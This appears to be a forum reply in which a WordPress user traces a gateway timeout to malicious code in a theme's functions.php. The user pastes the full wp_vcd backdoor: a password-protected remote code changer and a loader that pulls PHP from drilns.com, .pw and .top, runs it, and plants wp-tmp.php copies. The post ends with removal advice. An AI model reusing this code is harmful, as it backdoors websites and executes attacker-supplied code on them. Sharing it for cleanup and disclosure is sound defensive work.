I've faced the similar problem for last two days. It was working fine but suddenly start getting the Gateway timeout error. I've checked the Apache log and found the following:
Got error 'PHP message: PHP Warning: Use of undefined constant REQUEST_URI - assumed 'REQUEST_URI' (this will throw an Error in a future version of PHP) in /opt/bitnami/apps/wordpress/htdocs/wp-content/themes/xxxx/functions.php on line 73'
This was ignored in the previous version of Wordpress 5.2.3 but after the update to 5.2.4, it completely stopped loading and thrown out the gateway timeout error. Checked the functions.php file and found some suspicious code. Removed the below code from it and now it works fine. But this is just in my case and it may vary for others. Also, I'm running this on my local workstation not AWS or Google cloud.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2e9119c324d0aa5bb6a07457c50a53ec'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='2ddffaf2b9685827ae760217ad16dcd9';
if (($tmpcontent = @file_get_contents("http://www.drilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.drilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.drilns.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.drilns.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
Just delete the above and delete the following files from wp-includes directory:
wp-tmp.php & wp-vcd.php.
It's actually a malware and injecting the above code. In live site, we use Wordfence and it actually protects well.